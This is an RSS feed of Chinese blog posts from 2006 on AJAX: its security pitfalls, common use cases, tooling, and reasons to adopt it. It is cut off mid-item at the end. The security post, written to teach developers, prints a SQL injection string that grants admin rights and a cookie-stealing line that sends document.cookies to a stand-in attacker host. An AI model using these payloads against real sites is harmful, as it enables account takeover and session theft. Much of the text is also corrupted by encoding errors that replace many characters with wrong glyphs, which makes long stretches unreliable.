??xml version="1.0" encoding="utf-8" standalone="yes"?>久久99九九国产免费看小说,国产精品成人99久久久久 ,亚洲精品乱码久久久久久蜜桃 http://www.shnenglu.com/Jeff-Chen/category/1685.htmlzh-cnSun, 25 May 2008 13:16:33 GMTSun, 25 May 2008 13:16:33 GMT60谈AJAX的安全性及AJAX安全隐?zhn)?/title><link>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7032.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 08:32:00 GMT</pubDate><guid>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7032.html</guid><wfw:comment>http://www.shnenglu.com/Jeff-Chen/comments/7032.html</wfw:comment><comments>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7032.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/Jeff-Chen/comments/commentRss/7032.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/Jeff-Chen/services/trackbacks/7032.html</trackback:ping><description><![CDATA[Web开发者不会注意到由 “AJAXQAsynchronous JavaScript And XMLQ”所带来的激情。不费力气就能创建像Google Suggest那样的智能网站或者像Gmail那样ZWeb的应用程序,q在很大E度上要归功于这U技术。然而,伴随着AJAX应用E序的发展,我们发现了它的一些不之处,我们发现它的安全漏洞也在逐渐变大Q就像慢慢地把基于AJAX的站Ҏ(gu)入了一颗定时炸弹中?br /><br /><br />AJAX的好?br /><br />在当q“Web应用E序”的好时代Q事情非常简单。你填写了一个表单,点击“提交”按钮,然后当前屏幕消׃Q等待一会儿后你就转入C下一个页面。今天的状况已经不是q样的了Q用户需要的是一U就像Q何桌面应用程序那h畅、快捷和人性化的Web体验?br /><br />AJAXl常是和DHTMLQDynamic HTMLQ一起协作的Q它的顺利执行需要允许网中的JavaScript代码和web服务器在后台无缝通讯。比方说Q当你开始在Google Suggest的搜索框中输入东西时Qweb面和服务器在后台开始交换数据,然后会给Z些你可能需要的词条{。所有的q一切都不需要页面刷新或者按下Q何按钮。同栯也就是像Gmail那样的应用程序怎么能对实时拼写查做的那么好的原因?br /><br />AJAX怎样工作<br /><br />AJAX复杂的原理已l超Z今天所要阐q的范围Q这里只单描qC下。你的页面上的JavaScript代码能够在不依赖于用L情况下和你的Web服务器取得联pR这里面h心作用的是JavaScript的XMLHttpRequest对象Q这个对象能够被像用户敲击键盘或者时钟事件在后台或者异步触发(也就是术语异步JavaScript和XMLQ?br /><br />如果你在Google Suggest中输入“ajax”后Q就会得到像我输入后得到的服务器h一P<br />1. www.google.com/complete/search?hl=en&js=true&qu=aj <br />2. www.google.com/complete/search?hl=en&js=true&qu=aja <br />3. www.google.com/complete/search?hl=en&js=true&qu=ajax <br /><br />在这个术语中的XML部分有一点会引vZ的误解,其实q一部分是没有Q何意义的。它是从JavaScript对象得来的名字,同时许多AJAX风格的应用程序用了XMLQ这个对象能够就M事务向服务器发出一个请求。甚至JavaScript代码本n也能够被取回和评估。l完成我的输入“ajax example”,会从Google的服务器产生下面的回应:<br />sendRPCDone(frameElement, "ajax example", new Array("ajax example", "ajax examples"), new Array("153,000 results", "177,000 results"), new Array(""));<br /><br />q将会给你一些关于强大的AJAX的暗C吧Q它h在运行中Qon the flyQ把新的JavaScript代码加入到浏览器中的能力。然而,最优化的方法看h好像束缚了XML协定。D个例子说明一下,比如Google产生了下面的q个东西Q?br />    ajax example <br />    153,000 <br />    ajax examples <br />    177,000<br /><br />昄Q你可以在一个合适的表单中解释这些XML数据Q但我们要感谢JavaScriptQ它实能够在一些非常典型的限制条g下和大量讨厌的IE bug环境里非常好的处理XML对象?br /><br />Z帮助你理解一些Ajax的问题,我在q里l你介绍一个假想的旅行公司Q“时代尖端旅行公司”。由于受到AJAX bug的推动,他们的主要web开发者Max UptimeZ创徏一个这L应用E序Q他军_混合使用AJAXQ这P他走在时代尖端了?br /><br />AJAX的问?br /><br />半数以上的AJAX安全风险来自隐含在服务器中的漏洞。显Ӟ使用安全~码技术的好的设计Q对于更安全的AJAX大有帮助Q我们需要感谢Max熟?zhn)开放万l网应用安全计划Qthe Open Web Application Security Project - OWASPQ排名前十的最严重web应用E序安全漏洞列表Qwww.owasp.orgQ。不q的是,当Max实现AJAX的时候,他仍焉要面对许多额外的因素Q?br /><br />1.新的技术:如果Maxx他的站点q接C个SQL数据库,他在Google查到了数百万的例子。AJAX技术,不管q种技术有多年轻,它仍然是出现在采购@环中相对较早的,管它只有很一部分好的例子出现在网l上。ؓ了解决一些难处理的和不必要的复杂问题Q这p求像Max那样的开发者去自主开发。Max也就不得不编写服务器端和客户端的代码Q创Z自己不太定的协议(特别是对服务器响应来Ԍ。不这些协议有多好Q都会及时表现在页面上?br /><br />2.非传l方式的设计QAJAX有一点点不同于传l设计方式,因ؓq样的应用程序是半客L半服务端的。在Max的例子里Q他是唯一的开发者,所以他为服务端和客L都能够进行编码。在同一旉使用两种不同的语aQ特别是在早期阶D)q行开发将会生一些初U的~码错误Q因Z要在两端来回跌Q对一端来讲非常好Q但可能在另一端不能够胜Q。即使Max有一个大的开发团队,安全~码责Q也可能在服务端和客户端开发小l之间代码移交的时候发生问题?br /><br />3.太多的脚本语aQMax凭借他自己的聪明才智决定徏立世界上最优秀的旅行登记工兗你从输入你现在的位|(通过邮政~码、电(sh)话区h者GPS{等Q开始登讎ͼq时候一个AJAXh׃被立卛_送来定你确切的位置。从那时候开始,屏幕上就会填入你所有可以利用的旅行方式Q这一切甚至都是在你决定你惌M么地斏V你打算什么时候动w和你打和谁一同去之前完成的?br /><br />q个屏幕上的单元格和控g都充满了AJAX驱动Q服务器端和客户端的脚本可能需要超q?0个不同的服务器调用。你可以惛_一个很的个体服务器程序,比如findairportsbylocation.aspx 或者 determinemaxbaggageallowancebyairline.php.<br /><br />显而易见,如果没有Max的仔l计划(比如创徏多功能的“重载”JavaScript函数和服务器脚本Q,每一ơ设计他都需要创q?0个独立的部分。更多的~程意味着会生更多的错误和bugQ意味着需要更多的旉ȝ写、管理、测试和更新代码。不仅如此,因ؓ在客L的JavaScript代码中应用了大量的这U脚本,他们在正式的E序试中也Ҏ(gu)变得很健忘?br /><br />4.定部分的AJAX不会引v危害Q这个站Ҏ(gu)一个计划出行的站点Q但是Max考虑的是它将立刻Z提供一个显C精位|的卫星视图Qƈ且把你所要到辄的地的天气情况也提供l你。AJAX最大的诱惑之一看v来好像是直到最后一dq在q行其它的操作,像一个讲解员在那里解说一PZAJAX使用了AJAX。当Max开始尝试他的新xӞ他会逐渐试增加更多新的功能Q完全忽视测试的需要?br /><br />5.不安全的通讯Q每一个AJAX调用可能只回传很数量的数据l客LQ但那些数据是私有的、保密的。Max可以~写一个便利的工具来对你的信用卡号码进行数字校验,但是如果使用U文本代替over SSLq行发送数据会怎样呢?q是一个显而易见的问题Q但是当有许多例行程序需要考虑Q特别是屏幕上其?9Q的数据不是真正的机密数据时Q很Ҏ(gu)׃忽视掉SSL的?br /><br />6.服务器端讉K控制Q用JavaScriptE序来触发AJAXl常会掩C些显而易见的~码错误Q服务器端访问控制就是一个例子。假设Max惛_考你上次游览的一个详l目的地来ؓ你提供你中意的旅馆,他可能会是像下面q样Q?br />showprevioushotels.aspx?userid=12345&destination=UK <br /><br />q当然是非常好的Q但是如果一个恶意用hURLҎ(gu)了如下所C怎么办呢Q?br />    showprevioushotels.aspx?userid=12346&destination=% <br /><br />他们会得到其他h最喜爱的旅馆吗Q(注意Q%在SQL语句中是通配W)。无疑,q是一个没有什么危害的例子Q但是Max应该使用session、cookie或者其它符号Ş式来保数据能ƈ且只能发送到正确的用户那里。它们可能仅仅是数据的一部分,但它们可能就是最重要的一部分?br /><br />7.服务器端验证Q实际上q里有两个问题。第一QAJAX控制l常被用来在用户最后提交到服务器之前的输入验证。这ȝ了MaxQMax有一U虚假的安全感,原因是他建立了称作alloweddestinations.php的函敎ͼҎ(gu)用户的ID来决定他们能够到辄正确目的地?br /><br />因ؓq是一个服务器端的查,当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦|q里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的h?br /><br />AJAX控制可以比用戯己更仔细验证用户的输入,但是他们q是l常在服务器上最后做一ơ验证?br /><br />AJAX验证的第二个问题是控制本n会受到验证漏z的影响。这里再ơ强调一下,URL通常是隐藏着的,所以也会经常忘掉它。D例说明一下,也许我可以用SQL Injection来对刚才的脚本进行攻击,如下所C:<br />    showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;-- <br /><br />׃让我d后具有系l管理员的权限。当Ӟ如何取得那些表名QtableQ和字段名已l超Z本文讨论的范_但是你已l了解这U情况了Q不是吗Q?br /><br />8.客户端验证:我们已经知道在刚才的Google Suggest例子中,通过单评服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有Q何Ş式的验证Q如果这L话在客户端很难保证可靠性和畅性)Q客L仅仅简单执行服务器需要它完成的事情?br /><br />q样的话Q由于真正的代码怎么执行的对于一个普通用h讲是永远看不到的Q也是说你不能够“查看源文g”)Q于是潜在地为恶意的黑客们打开了一个完全的d导向。如果服务器的响应持l不断地被捣乱(q种破坏行ؓ可能是在Web服务器本w也可能是在数据传输q程中)Q这U攻d很难被发现?br /><br />Max使用下面的响应在目的地网上更新天气图标Q他是用的函数是eval();函数Q?br />    updateWeatherIcon('cloudy.gif');<br /><br />然而,恶意的cracker能够把这个函数变成下面的形式Q这栯发现q种d更加困难了Q?br />    updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies);     updateWeatherIcon('cloudy.gif');<br /><br />我们现在能够在我们自q服务器上跟踪每一个用Lsession ID/cookie?br /><br />结<br /><br />毫无疑问QAJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”,使用AJAX必须心谨慎Q这h能够保证web站点的安全?br /><br />然而,最大的威胁之一Q来自日益复杂的使用AJAX的客L脚本和服务器端脚本。这些脚本被技术手D隐藏在了视U之外,使测试很不直观;同时Q这U新技术看h也web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验q样的问题也不会消失Q它们变得更多更复杂了?br /><br />5个最重要的AJAX安全提示Q?br /><br />Z取得成功Q你必须从好的计划开始。必集中你的才智减和化AJAX调用Q创Z个标准的响应格式Q在M地方都要遵@q个协定Q理想的XMLQ?br /><br />遵@来自像开放万l网应用安全计划那样的站点的最优方法。这里面特别包含了访问控制和输入校验漏洞查,同时保敏感信息使用over SSL胜过使用普通文本?br /><br />永远不要假设服务器端AJAX对于讉K控制或者用戯入校验检查能够代替在服务器上的最l再查。增加AJAX控制永远不会减少你的验证工作量,它们只能增加你的工作量?br /><br />永远不要假设客户端的h技术(obfuscationQ在q里指JavaScript难于阅读和解码)能够保护你非帔R要的商业U密。用JavaScript是隐藏程序设计最没用的一U手D,q能够ؓ你的Ҏ(gu)提供好处?br /><br />最后,你必非常好的领g的开发团队。用AJAX听v来非常引人注目,但是你应该认识到要保留你的开发团队以便开发版?Q当然现在你应该开发非常稳定的版本1?br /><img src ="http://www.shnenglu.com/Jeff-Chen/aggbug/7032.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 16:32 <a href="http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7032.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AJAX应用解决一些常见问?/title><link>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7027.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 08:00:00 GMT</pubDate><guid>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7027.html</guid><wfw:comment>http://www.shnenglu.com/Jeff-Chen/comments/7027.html</wfw:comment><comments>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7027.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/Jeff-Chen/comments/commentRss/7027.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/Jeff-Chen/services/trackbacks/7027.html</trackback:ping><description><![CDATA[不可否认Q我是非常看好AJAX技术的。我以ؓAJAX技术对于互联网Q就像HTML对于互联|一栗但同时又要看到QAJAX技术不能完全取代我们常规的WEB开发技术。AJAX技术有它让人眼睛一亮的优点Q同时它也有很多q。我们作为开发h员,不能因ؓAJAX技术好Q就在WEB开发中全部使用AJAX?br /><br />  对了Q不能ؓ了AJAX而AJAXQ就像钢要用到刀刃上一PAJAX应该用在能充分发挥它的优点的地方。而大多数的时候,我们q需要和往怸P使用MVC的实现STRUTS开发框架?br /><br />  提到AJAXQ不能不提到与它一赯的另一个词:用户体验。AJAX丰富了B/S模式的表现层Q对于B/S模式的UI来说Q它L没有做不到、只有想不到。这里说来说去,都是一个用户体验的问题。AJAXL无刷斎ͼ其实很多时候,用户需要有h才能知道有了面提交Q如在保存数据的时候,所以在q个时候用AJAX却有害于用户体验的?br /><br />  那么在什么时候可能用到AJAX?W一、请求的提交是ؓ了页面数据的昄Q这时候用户一般不希望看到面的刷斎ͼ是用AJAX的一个最x候。第二、如果请求提交后Q用戯从页面感觉到提交l果Q这时候,也最好不要有面hQ推荐用AJAX技术。第三、如果请求提交后Q用户不能从面感觉到提交动作,如绝大多数时候的数据的增加和修改Q这时候则需要页面刷斎ͼ不能使用AJAX技术。第四、复杂的UIQ以前对于复杂的C/S模式的UIQB/S模式一向采取逃避的方法,现在则可以放心大胆的使用AJAX来加以解冟?br /><br />  AJAX技术的实践Q就像有了魔法一P一旦你使用了一ơ,׃׃释手。面对精彩的AJAX技术,q等什?赶快看看(zhn)的WEB应用里,有没有下列问题之一Q如果有的话Q不妨用AJAX试试?<br /><br />  W一、输入值校验的问题<br /><br />  输入校验是我们经帔R到的问题Q这U问题很多时候是可以在JS里解冟뀂但有些时候却需要访问后収ͼ如在甌用户的时候检查用户名是否重复{等问题。用AJAX吧,面不会有刷新?br /><br />  W二、联显C的问题<br /><br />  q种问题应该是我们遇到的最多的表现层的问题Q常常让我们左右为难:你说讉K后台吧,面需要刷斎ͼ用户体验很不?你说用JS解决吧,实有点让JS勉ؓ光Q强行用JS解决了,代码一大堆不说Q数据量大的话还会有内存问题Q而且数据也不安全?br /><br />  q类的问题很?最常见的是U联的两个或更多的选择框,q有选择框的变ŞQ联菜单,D树等{?br /><br />  遇到了这一cȝ问题Q赶快行动吧!用AJAX讉K后台Q既不需要刷新页面,也没有过多的JS代码Q一举两得?br /><br />  W三、请求结果只改变部分面<br /><br />  q一cȝ问题我们也会时常到Q如Q论坛的回复帖子和帖子列表在一个页面上的时候。这两个UI在一个页面上Q用户体验比回复帖子在另外一个页面好。但回复后要Ҏ(gu)个页面进行刷斎ͼq种感觉׃好了。你看,那么大一个帖子列表,只增加你的一个回复,却要Ҏ(gu)个页面进行刷斎ͼ不管从哪个角度来看都不好?br /><br />  q一cȝ问题不管是用户体验,q是从技术的角度来讲Q都是用AJAX最好不q?br /><br />  W四、由于技术原因而用iframe的问?br /><br />  Iframe的问题纯_Ҏ(gu)׃技术的原因引v的。ؓ了解x术问题而引入iframe,却iframe的一再嵌套却又引入了其他的技术难题。有的想办法来勉强解决q个问题Q有的却q脆不要使用iframe。不使用iframeQ而用JS的解x法却是繁琐的。现在不用左右ؓ难了Q用AJAX是最好的解决Ҏ(gu)?br /><br />  W五、数据录入和列表昄在同一个页?br /><br />  C/S模式的UI中常常有数据录入和数据列表显C在同一个界面上Q这样对于用h说有很好的用户体验,用户录入的结果马上就能在同一界面昄。但是在B/S的UI上,׃需要提交刷新的问题Q我们经常把数据的录入和数据昄分别攑֜两个不同的页面上。很昄Q这L用户体验肯定没有C/S模式来得好。像q样的问题还有很多,在B/S模式下,都因为技术的原因而选择其他的解军_法。现在我们可以自豪的使用AJAX来宣告可以做出和C/S模式一样复杂的UI了?br /><br />  W六、翻问?br /><br />  如果有技术可以ɾ页不需要刷斎ͼ你愿不愿意尝试一下呢?有很多这L数据昄的问题需要刷新哦Q考虑一下AJAX!<br /><img src ="http://www.shnenglu.com/Jeff-Chen/aggbug/7027.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 16:00 <a href="http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7027.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AJAXQ开发者新的技术天Cl?/title><link>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7025.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 07:52:00 GMT</pubDate><guid>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7025.html</guid><wfw:comment>http://www.shnenglu.com/Jeff-Chen/comments/7025.html</wfw:comment><comments>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7025.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/Jeff-Chen/comments/commentRss/7025.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/Jeff-Chen/services/trackbacks/7025.html</trackback:ping><description><![CDATA[ZXML的异步JavaScriptQ简UAJAXQ是当前Web创新(UCؓWeb2.0)中的一个王冠。感谢组成AJAX的各U技术,Web应用的交互如Flickr, Backpack和Google在这斚w已经有质的飞跃。这个术语源自描qCZ|页的Web应用到基于数据的应用的{换。在Z数据的应用中Q用户需求的数据如联pMh列表Q可以从独立于实际网늚服务端取得ƈ且可以被动态地写入|页中,l缓慢的Web应用体验着色之像桌面应用一栗?br /><br />  虽然大部分开发h员在q去使用qXMLHttp或者用Iframe来加载数据,但仅到现在我们才看到传统的开发h员和公司开始采用这些技术。就像新的编E语a或模型伴随着更多的痛苦,开发h员需要学习新的技巧及如何最好利用这些新技术?br /><br />  AJAX模式<br /><br />  许多重要的技术和AJAX开发模式可以从现有的知识中获取。例如,在一个发送请求到服务端的应用中,必须包含h序、优先、超时响应、错误处理及回调Q其中许多元素已l在Web服务中包含了Q就像现在的SOA。AJAX开发h员拥有一个完整的pȝ架构知识。同Ӟ随着技术的成熟q会有许多地斚w要改q,特别是UI部分的易用性?br /><br />  AJAX开发与传统的CS开发有很大的不同。这些不同引入了新的~程问题Q最大的问题在于易用性。由于AJAX依赖览器的JavaScript和XMLQ浏览器的兼Ҏ(gu)和支持的标准也变得和JavaScript的运行时性能一样重要了。这些问题中的大部分来源于浏览器、服务器和技术的l合Q因此必ȝ解如何才能最好的使用q些技术?br /><br />  l合各种变化的技术和合的客h务端环境QAJAX提出了一U新的开发方式。AJAX开发h员必ȝ解传l的MVC架构Q这限制了应用层ơ之间的边界。同Ӟ开发h员还需要考虑CS环境的外部和使用AJAX技术来重定型MVC边界。最重要的是QAJAX开发h员必ȝ止以面集合的方式来考虑Web应用而需要将其认为是单个面。一旦UI设计与服务架构之间的范围被严格区分开来后Q开发h员就需要更新和变化的技术集合了?br /><br />  时刻想着用户<br /><br />  AJAX的最大机遇在于用户体验。在使应用更快响应和创新的过E中Q定义Web应用的规则正在被重写;因此开发h员必L注重用户。现在用户已l逐渐习惯如何使用Web应用了。例如用户通常希望每一ơ按钮点MD几秒的gq和屏幕hQ但AJAX正在打破q种长时间的状况。因此用户需要重C验按钮点ȝ响应了?br /><br />  可用性是AJAX另hȀ动的地方而且已经产生了几U新颖的技术。其中最引h注目的是一U称为“黄色隐出”的技术,他在数据更新之前时将用户界面变ؓ黄色Q更新完成后立刻恢复原来的颜艌ӀAJAX开发h员将用户从Web应用的负载中解放出来;心地利用AJAX提供的丰富接口,不久桌面开发h员会发现AJAX是他们的方向?br /><br />  几种工具和技?br /><br />  随着AJAXq速地引h注目hQ我惛_发h员对q种技术的期待也迅速地增加。就像Q何新技术,AJAX的兴Z需要一整个开发工?~程语言及相x术系l来支撑?br /><br />  JavaScript<br /><br />  如名字所CAJAX的概念中最重要而最被忽视的是他也是一UJavaScript~程语言。JavaScript是一U粘合剂使AJAX应用的各部分集成在一赗在大部分时_JavaScript通常被服务端开发h员认为是一U企业应用不需要用的东西应该力避免。这U观Ҏ(gu)来自以前~写JavaScript代码的经?J杂而又易出错的语言。类似的Q他也被认ؓ应用逻辑L地散布在服务端和客户端中Q这使得问题很难被发现而且代码很难重用。在AJAX中JavaScript主要被用来传递用L面上的数据到服务端ƈq回l果。XMLHttpRequest对象用来响应通过HTTP传递的数据Q一旦数据返回到客户端就可以立刻使用DOM数据放到网面上?br /><br />  XMLHttpRequest<br /><br />  XMLHttpRequest对象在大部分览器上已经实现而且拥有一个简单的接口允许数据从客L传递到服务端,但ƈ不会打断用户当前的操作。用XMLHttpRequest传送的数据可以是Q何格式,虽然从名字上是XML格式的数据?br /><br />  开发h员应该已l熟(zhn)了许多其他XML相关的技术。XPath可以讉KXML文中的数据Q但理解XML DOM是必ȝ。类似的QXSLT是最单而快速的从XML数据生成HTML或XML的方式。许多开发h员已l熟(zhn)Xpath和XSLTQ因此AJAX选择XML作ؓ数据交换格式有意义的。XSLT可以被用在客L和服务端Q他能够减少大量的用JavaScript~写的应用逻辑?br /><br />  CSS<br /><br />  Z正确的浏览AJAX应用QCSS是一UAJAX开发h员所需要的重要武器。CSS提供了从内容中分d用样式和设计的机制。虽然CSS在AJAX应用中扮演至关重要的角色Q但他也是构建创览器应用的一大阻,因ؓ不同的浏览器厂商支持各种不同的CSSU别?br /><br />  服务器端<br /><br />  但不像在客户端,在服务端AJAX应用q是使用建立在如Java,.Net和PHP语言基础上机?q没有改变这个领域中的主要方式?br /><br />  既然如此Q我们对Ruby o-n Rails框架的兴也p速增加了。在一q多前,Ruby o-n Rails已经吸引了大量开发h员基于其强大功能来构建Web和AJAX应用。虽然目前还有很多快速应用开发工具存在,Ruby o-n Rails看v来已l储备了化构建AJAX应用的能力?br /><br />  开发工?br /><br />  在实际构建AJAX应用中,你需要的不只是文本编辑器。既然是JavaScript非编译的Q他可以Ҏ(gu)地编写和q行在浏览器?然而,许多工具提供了有用的扩展如语法高亮和完成?br /><br />  不同的IDE提供了对JavaScript支持的不同等U。来自JetBrains的IntelliJ IDEA是一个用来JavaScript开发的更好的IDEQ虽然许多开发h员也喜欢Microsoft’s Visual Studio产品(允诺会在最新的版本中改善对AJAX的支?。Eclipse包含了两个免费的JavaScript~辑器插件和一个商业的来自ActiveStat的Komodo IDE?br /><br />  另一个JavaScript和AJAX开发中的问题是调试困难。不同的览器提供不同的通常是隐藏的q行旉误信息,而JavaScript的缺陷如双重变量赋?通常是由于缺数据类?使得调试更加困难。在AJAX的开发中Q调试就更复杂了Q因为其需要标识究竟是客户端还是服务端产生的错误。在q去QJavaScript调试的方法是删除所有代码然后一行行的增加直到错误出现。现在,更多开发h员回CؓIE准备的Microsoft Script Debugger和ؓMozilla览器准备的Venkman?br /><br />  览器兼Ҏ(gu)?br /><br />  JavaScript~程的最大问题来自不同的览器对各种技术和标准的支持。构Z个运行在不同览?如IE和火?是一个困隄d。因此几UAJAX JavaScript框架或者生成基于服务端逻辑或标记库的JavaScriptQ或者提供符合跨览器AJAX开发的客户端JavaScript库。一些流行的框架包括:AJAX.Net, Backbase, Bitkraft, Django, DOJO, DWR, MochiKit, Prototype, Rico, Sajax, Sarissa, and Script.aculo.us.<br /><br />  q些框架l开发h员更多的I间使得他们不需要担心跨览器的问题。虽然这些框架提升了开发h员构建应用的能力Q但׃厂商已经开发了更细节的用户界面的打包组件解x案,因此在AJAXlg市场中需要考虑一些其他因素。例如提供通用用户界面的组件如l合框和数据栅格的几个厂商,都可以被用来在应用中创徏良好的通过cM?sh)子数据表方式来查看和编辑数据的体验。但q些lg不仅是封装了lg的用L面而且包括与服务端数据的通讯方式Q这些组仉常使用Z标记方式来实现如ASP.Net或JSF控g?br /><br />  展望<br /><br />  最qIE和火狐之间的览器之争变得火热v来,因此AJAX开发h员需要够敏L作出反应。关键点在一些问题如CSS或XMLQ虽然各U浏览器形成采用最新标准的不同阵营(如Mozilla拥抱SVG和E4X标准及在最新火狐BETA版本中用XULQ而微软用自qXAML技?。所有这些技术代表当前AJAXLJavaScript和XML的市场方向改变?br /><br />  ȝ来说QAJAX开发h员必d快地跟进最新的技术ƈ利用高的工具集。成功的AJAX开发h员还需要留心他们的使用者以避免Q何问题扩大化。ƈ且AJAX开发h员还需要持l地创新来创建增强Web应用易用性的新方法?br /><img src ="http://www.shnenglu.com/Jeff-Chen/aggbug/7025.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 15:52 <a href="http://www.shnenglu.com/Jeff-Chen/archive/2006/05/12/7025.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用AJAX的十大理?/title><link>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/10/6866.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 05:21:00 GMT</pubDate><guid>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/10/6866.html</guid><wfw:comment>http://www.shnenglu.com/Jeff-Chen/comments/6866.html</wfw:comment><comments>http://www.shnenglu.com/Jeff-Chen/archive/2006/05/10/6866.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/Jeff-Chen/comments/commentRss/6866.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/Jeff-Chen/services/trackbacks/6866.html</trackback:ping><description><![CDATA[ <p style="TEXT-INDENT: 2em">作者:AndreCharland</p> <p style="TEXT-INDENT: 2em">保守来说QAJAX在现在是热得不能再热的技术。没有h能否认,它拥有大批的支持者。在CNN上,它从二月份的一个不被看好的词语到十月䆾成长成一个初具雏形的技术。所以,有必要要看看Z么AJAX能发展成为现在的样子Qؓ什么它能不断成长,q且在短的时间内q速变得无处不在。所以,我用午夜谈话的风|来给出需要AJAX技术的十大理由?/p> <p style="TEXT-INDENT: 2em">使用AJAX的十大理由:</p> <p style="TEXT-INDENT: 2em">10。XAML,XUL,XForms...{等?/p> <p style="TEXT-INDENT: 2em">9。服务端技术的不确定性?/p> <p style="TEXT-INDENT: 2em">8。Web2.0?/p> <p style="TEXT-INDENT: 2em">7。被软g工业领袖们强劉K用?/p> <p style="TEXT-INDENT: 2em">6。和Flex和Flash{技术的很好的集成?/p> <p style="TEXT-INDENT: 2em">5。边际成本低?/p> <p style="TEXT-INDENT: 2em">4。能使常规的Web应用受益?/p> <p style="TEXT-INDENT: 2em">3。跨览器和跨^台?/p> <p style="TEXT-INDENT: 2em">2。以可用性和用户体验为王?/p> <p style="TEXT-INDENT: 2em">1。基于公开标准?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W一名:公开标准</b> </p> <p style="TEXT-INDENT: 2em">让我们从W一条开始,AJAX技术是Z被各大浏览器和^台都支持的公开标准的技术。这意味着该技术不怕技术提供商的技术封锁。组成AJAX技术的大多数技术都能放心的使用很多q_而那些不是热点的、最新的和未l考验的技术只能用一D|间。现在,对于l大多数的用户和企业来说Q浏览器是一个可信Q的应用^収ͼq在五年前就不是个问题了。对于AJAX来说QFIREFOX览器的基础Mozilla1.0的发布ƈ且支持XMLHTTPRequest对象是一个{折点。这U允许异步数据交换的技术好多年前就被IE览器支持了。这U支持和FIREFOX览器的大量被采用真正的使h们理解了跨浏览器的富Internet应用成ؓ了可能?/p> <p style="TEXT-INDENT: 2em">1QJavaScriptorECMAScript(StandardECMA-262)Q一个有的事情是,Javascript是经q长旉后才成ؓ被h们接受的技术,长时间以来,很多公司采用非Javascript技术的斚wQ幸q的是,q种状况被迅速的改变?/p> <p style="TEXT-INDENT: 2em"> <a target="_blank"> <font color="#002c99">http://www.ecma-international.org/publications/standards/Ecma-262.htm</font> </a> </p> <p style="TEXT-INDENT: 2em">2QXMLQ是一个来自W3C的、被q泛应用的标准?/p> <p style="TEXT-INDENT: 2em"> <a target="_blank"> <font color="#002c99">http://www.w3.org/XML/</font> </a> </p> <p style="TEXT-INDENT: 2em">3QHTMLQ?a target="_blank"><font color="#002c99">http://www.w3.org/MarkUp/</font></a></p> <p style="TEXT-INDENT: 2em">4QCSSQ?a target="_blank"><font color="#002c99">http://www.w3.org/Style/CSS/</font></a></p> <p style="TEXT-INDENT: 2em">5QXMLHTTPRequestObjectQ被InternetExplorer、Mozilla-based、Safari和Opera览器支持?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W二名:可用?/b> </p> <p style="TEXT-INDENT: 2em">开发h员和设计人员开始认识到不仅大型的用户体验在市场上是成功的,而且也认识到q样体验是怎么来媄响用L开销的。基于AJAX技术的google地图比传l的选择MapQuest更成功,证明了提供更好的用户体验的品的成功。AJAX技术是使网l应用有更好的可用性的一个领导性的技术。它允许从服务器端请求少量的信息Q而不是整个网c它增加了页面数据的更新但同时减了面的刷新和h{待Q这些问题从|络已诞生就折磨着Web应用?/p> <p style="TEXT-INDENT: 2em">Z已经知道他们需要一个优U的用L面ƈ且有对该界面的投资意ѝ前提条件是Q用戯够快速的取得信息不管数据是一个内部网的应用还是一个广域网的服务?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W三名:跨浏览器和跨q_的兼Ҏ(gu)?/b> </p> <p style="TEXT-INDENT: 